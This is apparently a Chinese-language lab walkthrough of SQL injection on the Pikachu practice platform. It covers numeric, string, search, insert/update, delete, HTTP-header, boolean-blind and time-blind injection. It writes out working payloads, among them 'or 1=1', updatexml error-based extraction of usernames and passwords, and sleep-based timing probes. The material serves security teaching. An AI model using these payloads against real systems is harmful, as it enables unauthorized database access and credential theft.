sql注入漏洞概述:
數據庫注入漏洞,主要是開發人員在構建代碼時,沒有對輸入邊界進行安全考慮,導致攻擊者可以通過合法的輸入點提交一些精心構造的語句,從而欺騙后台數據庫對其進行執行,
導致數據庫信息泄露的一種漏洞。
sql注入攻擊流程:
常見注入類型:
數字型 user_id=$id
字符型 user_id='$id'
搜索型 text like '%{$_GET['search']}' "
我們就可以開始在pikachu平台去嘗試進行sql注入
數字型注入(post):
選擇一個數字,例如1,查詢並抓包
將抓包內容發送到repeater模塊,我們可以在1后面添加payload“or 1=1”
我們發現所有用戶信息都被爆出,這說明它存在數字型注入漏洞
我們可以查看一下他的源碼,post請求直接把id帶到SQL語句中,沒有做任何處理,所以id這里存在sql注入漏洞;
字符型注入(get):
輸入數據庫中存在用戶kobe,查詢
因為是get,所以我們可以不用抓包,直接嘗試
字符型的注入,我們可以加單引號、雙引號、括號、以及他們的組合並且注釋,去測試
當我們輸入kobe‘--+’時信息全部爆出,所以它存在單引號字符型注入漏洞
查看源碼,發現字符型,name被單引號包裹
SQL搜索型注入:
這里可以進行用戶名搜索,所以我們可以猜測他是否使用了數據庫中的搜索邏輯
查看源碼,可以發現模糊查詢使用了like,name被單引號和%包裹,所以我們需要構造單引號閉合,且閉合需要加%
輸入payload xxx%’ or 1=1 #信息全部爆出
SQLxx型注入:
查看源碼我們發現('$name'),name被單引號及括號包裹,類似搜索型
我們可以輸入payload xxx’) or 1=1#
”insert/update“注入:
MySQL 表中使用 INSERT INTO SQL語句來插入數據
以下為向MySQL數據表插入數據通用的 INSERT INTO SQL語法:
INSERT INTO table_name ( field1, field2,...fieldN ) VALUES ( value1, value2,...valueN );
如果數據是字符型,必須使用單引號或者雙引號,如:"value"。
下面我們打開pikachu此界面,首先進行信息注冊
我們輸入用戶名為單引號,密碼隨意,發現語法報錯,這意味着我們輸入的內容在后台參與了mysql的拼接
那我們就可以在用戶名處輸入sql查詢語句,讓他insert到后台數據庫,爆出相應信息
a’or updatexml(1,concat(0x7e,database()),0)or ‘
UPDATE介紹:用於更新表中的現有數據。亦可用UPDATE
語句來更改表中單個行,一組行或所有行的列值。
MySQL-UPDATE語法: UPDATE [LOW_PRIORITY] [IGNORE] table_name SET column_name1 = expr1, column_name2 = expr2, ... WHERE condition;
在上面UPDATE
語句中:
第一,在UPDATE
關鍵字后面指定要更新數據的表名。
第二,SET
子句指定要修改的列和新值。要更新多個列,請使用以逗號分隔的列表。
第三,使用WHERE語句中的條件指定要更新的行。
WHERE
子句是可選的。 如果省略WHERE
子句,則UPDATE
語句將更新表中的所有行。
我們可以登陸進去后,寫入相應語句去爆破數據庫
a' or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1) ),1) or '
”delect“注入:
DELETE FROM 命令用於刪除 MySQL 數據表中的記錄。
DELETE FROM 表名稱 WHERE 列名稱 = 值
查看源碼我們發現他直接把id內容直接拼接到了數據庫中
進入頁面儲存1234567信息刪除並抓包,發送到repertar,我們根據刪除行的信息得出表名
輸入1 or updatexml(1,concat(0x7e,database()),0)語句將id轉換,並轉碼
點擊發送,我們可以在最右邊底部,我們可以獲取到數據庫信息
“http header”注入:
HTTP頭注入其實並不是一個新的SQL注入類型,而是指出現SQL注入漏洞的場景。有些時候,后台開發人員為了驗證客戶端頭信息(比如常用的cookie驗證),或者通過http header頭信息獲取客戶端的一些資料,比如useragent、accept字段等。會對客戶端的http header信息進行獲取並使用SQL進行處理,如果此時沒有足夠的安全考慮則可能會導致基於http header的SQL Inject漏洞。
進入頁面輸入用戶名密碼admin/123456進行登錄
查看登陸后信息我們猜測后端是不是對http header里面的數據進行了獲取,進行了相關數據庫的操作
我們點擊退出並抓包將內容發送到repeater模塊
修改user-agent 為
firefox’ or updatexml(1,concat(0x7e,database()),0)or ‘
布爾盲注:
布爾盲注主要表現:
1.沒有報錯信息
2.結果都只顯示兩種情況(0或1)
3.在正確的輸入下,輸入and 1=1/and 1=2可以判斷
其實主要就是利用字符的ascii碼進行比對,看回顯結果,一步步縮小范圍,直到驗證成功。
輸入 kobe’ and ascii(substr(database(),1,1))>120#
回顯失敗說明小於120
輸入 kobe’ and ascii(substr(database(),1,1))=112#
我們可以知道數據庫名第一個字母ascil碼為112,即p,改變substr提取的值一個一個試直到完全爆出
查庫: select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema'security'
查列:select column_name from information_schema.columns where table_name='users'
查字段:select username,password from security.users
時間盲注:
時間盲注主要使用if語句,通過延遲信息進行判斷,不看回顯信息
kobe’ and sleep(5)#
若正確,頁面延遲5秒,不正確直接返回,我們可以用sleep判斷相應語句是否正確,來
獲取數據庫信息,這種方法也很慢